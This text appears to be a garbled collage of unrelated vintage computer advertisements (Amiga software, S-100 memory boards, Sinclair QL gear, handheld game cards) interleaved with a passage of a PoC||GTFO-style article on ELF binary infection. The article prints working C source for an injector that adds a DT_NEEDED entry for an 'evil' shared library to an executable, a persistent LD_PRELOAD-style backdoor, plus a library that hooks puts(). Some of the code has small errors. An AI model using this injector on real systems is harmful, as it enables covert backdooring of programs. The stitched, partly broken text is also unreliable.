→ FUTURE: Build 3D spacecraft, vehicles, androids, even complete space stations.  
→ HUMAN: Complete 3D male and female prototypes with complex limbs etc.  
→ MICROBOT: Advanced robotic designs and component parts to create your own robots.

**£24.95 inc VAT**

**ZOTROPE**  
**The Amiga Animation Programme**

**Requires 1meg. £99.95 inc VAT Pal version. For more information contact:**  
**ISM Tel: 0983 864674**  
**or SEE YOUR LOCAL AMIGA SPECIALIST**

4Kx8 Static Memories

MB-1 Mk-8 board, 1 usec 2102 or eq.  
PC Board. . \$22    Kit . . . . . \$100

MB-2 Altair 8800 or IMSAI compatible  
switched address and wait cycles.  
PC Board. . \$25    Kit (1 usec) . . \$112  
Kit (91L02A or 21L02-1) . . . . . \$132

MB-4 Improved MB-2 designed for 8K  
"piggy-back" without cutting traces.  
PC Board. . . . . \$ 30  
Kit 4K 0.5 usec . . . . . \$137  
Kit 8K 0.5 usec . . . . . \$209

MB-3 1702A's EROMs, Altair 8800 &  
Imesai 8080 compatible switched address  
& wait cycles. 2K may be expanded to  
4K.                    Kit less Proms . \$ 65  
2K kit . . \$145    4K kit . . . . . \$225

I/O Boards

I/O-1 8 bit parallel input & output ports,  
common address decoding jumper  
selected, Altair 8800 plug compatible.  
Kit . . . . . \$42    PC Board only . . \$25

I/O-2 I/O for 8800, 2 ports committed,  
pads of 3 more, other pads for EROMs  
UART, etc.  
Kit . . . \$47.50    PC Board only . . \$25

Misc.

Altair compatible mother board  
15 sockets 11"x11½" . . . . . \$40  
Altair extender board. . . . . \$ 8  
100 pin WW sockets .125"  
centers . . . . . \$ 6

2102's	1usec	0.65usec	0.5usec
ea.	\$ 1.95	\$ 2.25	\$ 2.50
32	\$59.00	\$68.00	\$76.00

1702A\* \$10.00    8223 \$3.00  
2101    \$ 4.50    MM5320 \$5.95  
2111-1    \$ 4.50    8212 \$5.00  
2111-1    \$ 4.50    8131 \$2.80  
91L02A    \$ 2.55    MM5262 \$2.00  
32 ea.    \$ 2.40    1103 \$1.25  
Programming send Hex List \$5.00  
AY5-1013 Uart \$8.00  
All kits by Solid State Music  
Please send for complete list of products  
and ICs.

MIKOS

419 Portofino Dr.  
San Carlos, Calif. 94070

Check or money order only. Calif. residents 6% tax. All  
orders postpaid in US. All devices tested prior to sale.  
Money back 30 day Guarantee. \$10 min. order. Prices  
subject to change without notice.

## DT\_NEEDED Infection for Symbol Hijacking

I naively used a reverse-text-padding infection to make room for the new `.dynstr` section. This, however, does not work with PIE binaries, due to the constraints on that infection method, but is trivial to fix by simply changing the injection method to something that works with PIE, i.e., text padding infection, or `PT_NOTE` to `PT_LOAD` infection, `UTI` infection, etc.

For example, we could use the following method. First, use reverse text infection to make space for a new `.dynstr` section, then `memcpy` old `.dynstr` into the code cave created by it. Then append a terminated string with the evil shared library base-name to the new `.dynstr`. Confirm that there is enough space after the dynamic segment to shift all `ElfN_Dyn` entries forward by `sizeof(Elf_Dyn)` entry bytes. Finally, re-create the dynamic segment by inserting a new `DT_NEEDED` entry before any other dynamic tags. Its `d_un.d_val` should point to `dynstr_vaddr + old_dynstr_len`. Modify its `DT_STRTAB` tag so that `d_un.d_val = dynstr_vaddr`.

The new dynamic segment should look something like this:

```
2 [DT_NEEDED: "evil_lib.so"]
2 [DT_NEEDED: "libc.so"]
2 [... several more tags ...]
4 [DT_STRTAB: 0x3ff000] (Adr of new .dynstr
   loc.)
```

The code in `libevil.c` on page 57 will demonstrate how we modify the behavior of the `void puts(const char *)` function from `libc.so`. The `dt_infect` code on page 58 implements the injection of the `libevil.so` dependency into a target executable. This will only work with executables that use `ET_EXEC` due to the reverse text padding injection for the `.dynstr` table. Note that `dt_infect` has a `-f` option to overwrite the `DT_DEBUG` tag instead of overriding other dependencies with your own shared object; this will require manual modification of the `.got.plt` table to call your functions.



# ☆ sinclair QL ☆

**EEC LTD MAIN SUPPLIER OF Sinclair QL COMPUTERS & PRINTERS.**  
**QLs FROM £125. PRINTERS FROM £130.**

THE EXPANDABLE SYSTEM FOR SMALL BUSINESSES, BEGINNERS, AND EXPERTS  
**QLs COMPLETE. JM fully tested and with 6 months warranty.**

TV lead. QL software 2.35. QUILL - Word processor, ABACUS - spreadsheet, **£125**  
 ARCHIVE - records, EASEL - business graphics (above with JS ROM £150.00)  
**CUSTOMERS BUYING ONE OF THE QL COMPUTERS ARE GIVEN ONE YEAR'S FREE**  
**MEMBERSHIP TO QUANTA** (Help, Newsletters, & 400+ Library Programs - most free).  
**QUANTA MEMBERS CAN OBTAIN A £5 DISCOUNT**

★ The JM QL can run all Programs available for the QL system ★ **SEND FOR SOFTWARE AND SPARES LISTS.**

---

★ **SPECIAL OFFERS** ★  
 WHILE STOCKS LAST

**NEW PHILIPS COLOUR MONITORS**  
 14in high resolution enhanced graphics,  
 85 chars, RGB input. Complete with tilt  
 & swivel stand, and QL lead ready to  
 plug-in and go. **RRP £379.99**

**£220**  
inc VAT

**UNIVERSAL DISK DRIVE**  
 1mb 3.5 in cased, complete with built-in  
 power supply, mains switch & 13 amp  
 plug. EXTERNAL dip switches adapt  
 drive for QL, PC, Atari, Amiga, etc.  
 Comes with full instruction book, plastic  
 cover and free DS/DD disk

**£75 inc VAT QL LEAD £10**  
**TWO DRIVES £140. LEAD £15**

**UNCASED DRIVES**  
 NEC FD1036A 1mb 3.5in  
 1/3 height **£35 inc VAT**  
 LEAD FOR DISK I/FACE **£12**

★ **PC/QL KEYBOARDS/INTERFACES** ★

Standard QL keyboard & base .....	£6
PC permanent keyboard complete with 5 pin connector .....	£25
PC to QL (102 keys) interface .....	£75

---

**MANNESMAN TALLY DOT MATRIX PRINTER** Centronics Heavy duty  
 printer. 130 cps, 26 cps, near letter quality - Epson and IBM compatible **£130**

**SERIAL INTERFACE** available if required **£24.00**

**PRICES INCLUDE VAT. TERMS CWO**  
 Minimum order £10. Carriage £8.00 for printers & QL  
 (overseas £20.00). Other items £3.00 (overseas £6.00)

**EEC LTD**  
 18 - 21 Misbourne House, Chiltern Hill, Chalfont St Peter,  
 Bucks, SL9 9UE. Tel: 0753 888866. Fax: 0753 887149

# RPL

**RPL is a fast, space-efficient language, designed for the PET/CBM user who wants to develop high-speed, high-quality software with a minimum of effort. While ideal for programming games and other personal applications, it is primarily oriented toward real-time process control, utility programming, and similar demanding business and industrial uses.**

R. Vanderbilt Foster, of Video Research Corporation, says he thinks that **"RPL is one HELL of a system!"** (capitals his). Ralph Bressler, reviewing the package in The Paper, says "I know of few language systems this complete, this well documented, for this kind of price." For more information, see the following:

**MICRO, Dec. '81, p. 35**  
**MICROCOMPUTING, Feb. '82, p. 10**  
**MICRO, Mar. '82, p. 29**  
**BYTE, Mar. '82, p. 476**  
**COMPUTE!, Mar. '82, pp. 45, 120.**

See also the article **"Basic, Forth and RPL"** in the June '82 issue of MICRO, and Mr. Bressler's review in the Jan./Feb. '82 issue of The Paper. Don't let our prices deceive you: **RPL** is a first-class, high performance language in every respect. We are keeping its price so low in order to make it accessible to the widest possible number of users. Only **\$80.91**, postpaid, for both the **RPL** compiler and its associated symbolic debugger, complete with full documentation (overseas purchasers please add \$5.00 for air mail shipping). Versions available for PET-2001 (Original, Upgrade or V4.0 ROM's), CBM 4032, and CBM 8032/8096, on cassette, 2040/4040, and 8050 disk.

**Order Anytime, Day or Night 7 Days A Week**

**VISA**  
**Master Charge**  
**American Express**

**800-327-8965**  
 (ask for extension 2)

**Samurai Software**  
**P.O. Box 2902**  
**Pompano Beach,**  
**Florida 33062**  
**(305) 782-9985**

```

/* libevil.c
 * l33t sp34k version of puts() for
 * DT_NEEDED .so injection
 * elfmaster 2/15/2019
 */
#define _GNU_SOURCE
#include <dlfcn.h>

// This code is a l33t sp34k version of puts
long _write(long, char *, unsigned long);

char _toupper(char c){
    if( 'c' >= 'a' && c <= 'z' )
        return (c = c + 'A' - 'a');
    return c;
}

void __memset(void *mem,
    unsigned char byte, unsigned int len){
    unsigned char *p = (unsigned char *)mem;
    int i = len;
    while (i--){
        *p = byte;
        p++;
    }
}

```



**ONLY £157.00**

**INCLUDING:** CALIFORNIA GAMES CARD,  
MAINS ADAPTOR, POST AND PACKING

**GAME CARDS:** Blue Lightning, Electrocop, Gates of Zendocon,  
Chips Challenge: **ONLY £21.00** each inc. P&P  
Gauntlet III, Rampage: **ONLY £24.50** each inc P&P

*CHEQUES/P.O.s PAYABLE TO "COMPUTERS BY MAIL"*  
All prices completely inclusive. Prompt service by 1st class post.

**ALL CORRESPONDENCE TO**

**COMPUTERS by MAIL**



**PO BOX 668**  
**BEARSDEN**  
**GLASGOW**  
**G61 1BL**

Proprietor: Mr J Elder, 115 Ravetstone Road, Bearsden

```

int puts(const char *string){
    char *s = (char *)string;
    char new[1024];
    int index = 0;

    int (*o_puts)(const char *);

    o_puts = (int (*)(const char *))
        dlsym(RTLD_NEXT, "puts");

    __memset(new, 0, 1024);
    while (*s != '\0' && index < 1024) {
        switch(_toupper(*s)) {
            case 'I':
                new[index++] = '1';
                break;
            case 'E':
                new[index++] = '3';
                break;
            case 'S':
                new[index++] = '5';
                break;
            case 'T':
                new[index++] = '7';
                break;
            case 'O':
                new[index++] = '0';
                break;
            case 'A':
                new[index++] = '4';
                break;
            default:
                new[index++] = *s;
                break;
        }
        s++;
    }

    return o_puts((char *)new);
}

```

libevil.c

```

2  /* Shortened version of inject.c.  Unzip pocorgtfo20.pdf scop.zip for a complete copy. */
3
4  #include "/opt/elfmaster/include/libelfmaster.h"
5
6  #define PAGE_ALIGN_UP(x) ((x + 4095) & ~4095)
7  #define PT_PHDR_INDEX 0
8  #define PT_INTERP_INDEX 1
9  #define TMP "xyz.tmp"
10
11 bool dt_debug_method = false;
12 bool calculate_new_dynentry_count(elfobj_t *, uint64_t *, uint64_t *);
13
14 bool modify_dynamic_segment(elfobj_t *target, uint64_t dynstr_vaddr, uint64_t evil_offset) {
15     bool use_debug_entry = false;
16     bool res;
17     uint64_t dcount, dpadsz, index;
18     uint64_t o_dcount = 0, d_index = 0, dt_debug_index = 0;
19     elf_dynamic_entry_t d_entry;
20     elf_dynamic_iterator_t d_iter;
21     elf_error_t error;
22     struct tmp_dtags {
23         bool needed;
24         uint64_t value;
25         uint64_t tag;
26         TAILQ_ENTRY(tmp_dtags) _linkage;
27     };
28     struct tmp_dtags *current;
29     TAILQ_HEAD(, tmp_dtags) dtags_list;
30     TAILQ_INIT(&dtags_list);
31
32     calculate_new_dynentry_count(target, &dcount, &dpadsz);
33     if (dcount == 0) {
34         fprintf(stderr, "Not enough room to shift dynamic entries forward\n");
35         use_debug_entry = true;
36     } else if (dt_debug_method == true) {
37         fprintf(stderr, "Forcing DT_DEBUG overwrite. This technique will not give\n"
38             "your injected shared library functions precedence over any other libraries\n"
39             "and will therefore require you to manually overwrite the .got.plt entries to\n"
40             "point at your custom shared library function(s)\n");
41         use_debug_entry = true;
42     }
43     elf_dynamic_iterator_init(target, &d_iter);
44     for (;;) {
45         res = elf_dynamic_iterator_next(&d_iter, &d_entry);
46         if (res == ELF_ITER_DONE) break;
47
48         struct tmp_dtags *n = malloc(sizeof(*n));
49
50         if (n == NULL) return false;
51
52         n->value = d_entry.value;
53         n->tag = d_entry.tag;
54         if (n->tag == DT_DEBUG) dt_debug_index = d_index;
55         TAILQ_INSERT_TAIL(&dtags_list, n, _linkage);
56         d_index++;
57     }
58
59     /* In the following code we modify dynamic segment to look like this:
60     * Original: DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc.
61     * Modified: DT_NEEDED: "evil.so", DT_NEEDED: "libc.so", DT_INIT: 0x4009f0, etc.
62     * Which acts like a permanent LD_PRELOAD.
63     * ...
64     * If there is no room to shift the dynamic entriess forward, then we fall back on a less
65     * elegant and easier to detect method where we overwrite DT_DEBUG and change it to a

```

```

66  * DT_NEEDED entry. This is easier to detect because of the fact that the linker always
67  * creates DT_NEEDED entries so that they are contiguous whereas in this case the DT_DEBUG
68  * that we overwrite is generally about 11 entries after the last DT_NEEDED entry. */
69
70  index = 0;
71  if (use_debug_entry == false) {
72      d_entry.tag = DT_NEEDED;
73      d_entry.value = evil_offset; /* Offset into .dynstr for "evil.so" */
74      elf_dynamic_modify(target, 0, &d_entry, true, &error);
75      index = 1;
76  }
77
78  TAILQ_FOREACH(current, &dtags_list, _linkage) {
79      if (use_debug_entry == true && current->tag == DT_DEBUG) {
80          printf("%sOverwriting DT_DEBUG at index: %zu\n",
81              dcount == 0 ? "Falling back to " : "", dt_debug_index);
82          d_entry.tag = DT_NEEDED;
83          d_entry.value = evil_offset;
84          elf_dynamic_modify(target, dt_debug_index, &d_entry, true, &error);
85          goto next;
86      }
87      if (current->tag == DT_STRTAB) {
88          d_entry.tag = DT_STRTAB;
89          d_entry.value = dynstr_vaddr;
90          elf_dynamic_modify(target, index, &d_entry, true, &error);
91          printf("Modified d_entry.value of DT_STRTAB to: %lx (index: %zu)\n",
92              d_entry.value, index);
93          goto next;
94      }
95
96      d_entry.tag = current->tag;
97      d_entry.value = current->value;
98      elf_dynamic_modify(target, index, &d_entry, true, &error);
99  next:
100     index++;
101 }
102 return true;
103 }
104
105 /* This function will tell us how many new ElfN_Dyn entries can be added to the dynamic
106  * segment, as there is often space between .dynamic and the section following it. */
107 bool calculate_new_dynentry_count(elfobj_t *target, uint64_t *count, uint64_t *size) {
108     elf_section_iterator_t s_iter;
109     struct elf_section section;
110     size_t len;
111     size_t dynsz = elf_class(target) == elfclass32 ? sizeof(Elf32_Dyn) :
112         sizeof(Elf64_Dyn);
113     uint64_t dyn_offset = 0;
114
115     *count = 0;
116     *size = 0;
117
118     elf_section_iterator_init(target, &s_iter);
119     while (elf_section_iterator_next(&s_iter, &section) == ELF_ITER_OK) {
120         if (strcmp(section.name, ".dynamic") == 0) {
121             dyn_offset = section.offset;
122         } else if (dyn_offset > 0) {
123             len = section.offset - dyn_offset;
124             *size = len;
125             *count = len / dynsz;
126             return true;
127         }
128     }
129     return false;
130 }

```

```

130 int main(int argc, char **argv) {
132     uint8_t *mem;
133     elfobj_t so_obj;
134     elfobj_t target;
135     bool res, text_found = false;
136     elf_segment_iterator_t p_iter;
137     struct elf_segment segment;
138     struct elf_section section, dynstr_shdr;
139     elf_section_iterator_t s_iter;
140     size_t paddingSize, o_dynstr_size, dynstr_size, ehdr_size, final_len;
141     uint64_t old_base, new_base, n_dynstr_vaddr, evil_string_offset;
142     elf_error_t error;
143     char *evil_lib, *executable;
144     int fd;
145     ssize_t b;
146
147     if (argc < 3) {
148         printf("Usage: %s [-f] <lib.so> <target>\n", argv[0]);
149         printf("-f Force DT_DEBUG overwrite technique\n");
150         exit(0);
151     }
152     if (argv[1][0] == '-' && argv[1][1] == 'f') {
153         dt_debug_method = true;
154         evil_lib = argv[2];
155         executable = argv[3];
156     } else {
157         evil_lib = argv[1];
158         executable = argv[2];
159     }
160     elf_open_object(executable, &target, ELF_LOAD_F_STRICT|ELF_LOAD_F_MODIFY, &error);
161     ehdr_size = elf_class(&target) == elfclass32 ?
162         sizeof(Elf32_Ehdr) : sizeof(Elf64_Ehdr);
163     elf_section_by_name(&target, ".dynstr", &dynstr_shdr);
164     paddingSize = PAGE_ALIGN_UP(dynstr_shdr.size);
165
166     elf_segment_by_index(&target, PT_PHDR_INDEX, &segment);
167     segment.offset += paddingSize;
168     elf_segment_modify(&target, PT_PHDR_INDEX, &segment, &error);
169     elf_segment_by_index(&target, PT_INTERP_INDEX, &segment);
170     segment.offset += paddingSize;
171     elf_segment_modify(&target, PT_INTERP_INDEX, &segment, &error);
172
173     printf("Creating reverse text padding infection to store new .dynstr section\n");
174     elf_segment_iterator_init(&target, &p_iter);
175     while (elf_segment_iterator_next(&p_iter, &segment) == ELF_ITER_OK) {
176         if (text_found == true) {
177             segment.offset += paddingSize;
178             elf_segment_modify(&target, p_iter.index - 1, &segment, &error);
179         }
180         if (segment.type == PT_LOAD && segment.offset == 0) {
181             old_base = segment.vaddr;
182             segment.vaddr -= paddingSize;
183             segment.paddr -= paddingSize;
184             segment.filesz += paddingSize;
185             segment.memsz += paddingSize;
186             new_base = segment.vaddr;
187             text_found = true;
188             elf_segment_modify(&target, p_iter.index - 1, &segment, &error);
189         }
190     }
191     /* Adjust .dynstr so that it points to where the reverse text extension is; right after
192     * elf_hdr and right before the shifted forward phdr table. Adjust all other section
193     * offsets by paddingSize to shift forward beyond the injection site. */
194     elf_section_iterator_init(&target, &s_iter);

```



```

196 while(elf_section_iterator_next(&s_iter, &section) == ELF_ITER_OK) {
197     if (strcmp(section.name, ".dynstr") == 0) {
198         printf("Updating .dynstr section\n");
199         section.offset = ehdr_size;
200         section.address = old_base - paddingSize;
201         section.address += ehdr_size;
202         n_dynstr_vaddr = section.address;
203         evil_string_offset = section.size;
204         o_dynstr_size = section.size;
205         section.size += strlen(evil_lib) + 1;
206         dynstr_size = section.size;
207         res = elf_section_modify(&target, s_iter.index - 1, &section, &error);
208     } else {
209         section.offset += paddingSize;
210         res = elf_section_modify(&target, s_iter.index - 1, &section, &error);
211     }
212 }
213 elf_section_commit(&target);
214 if (elf_class(&target) == elfclass32) {
215     target.ehdr32->e_shoff += paddingSize;
216     target.ehdr32->e_phoff += paddingSize;
217 } else {
218     target.ehdr64->e_shoff += paddingSize;
219     target.ehdr64->e_phoff += paddingSize;
220 }
221 modify_dynamic_segment(&target, n_dynstr_vaddr, evil_string_offset);
222
223 //Write out our new executable with new string table.
224 fd = open(TMP, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU);
225
226 // Write initial ELF file header
227 b = write(fd, target.mem, ehdr_size);
228
229 //Write out our new .dynstr section into our padding space
230 b = write(fd, elf_dynstr(&target), o_dynstr_size);
231 b = write(fd, evil_lib, strlen(evil_lib) + 1);
232
233 b = lseek(fd, ehdr_size + paddingSize, SEEK_SET))
234 mem = target.mem + ehdr_size;
235 final_len = target.size - ehdr_size;
236 b = write(fd, mem, final_len);
237
238 done:
239 elf_close_object(&target);
240 rename(TMP, executable);
241 printf("Successfully injected '%s' into target: '%s'.\n", evil_lib, executable);
242 exit(EXIT_SUCCESS);
243 }

```



## RADIO-LABORATORY MAN

Need experienced lab man for amateur pre-production prototype work. Receiver-transmitter VHF experience necessary. Submit full qualifications in first letter.

**GONSET COMPANY**  
801 S. Main Street, Burbank, California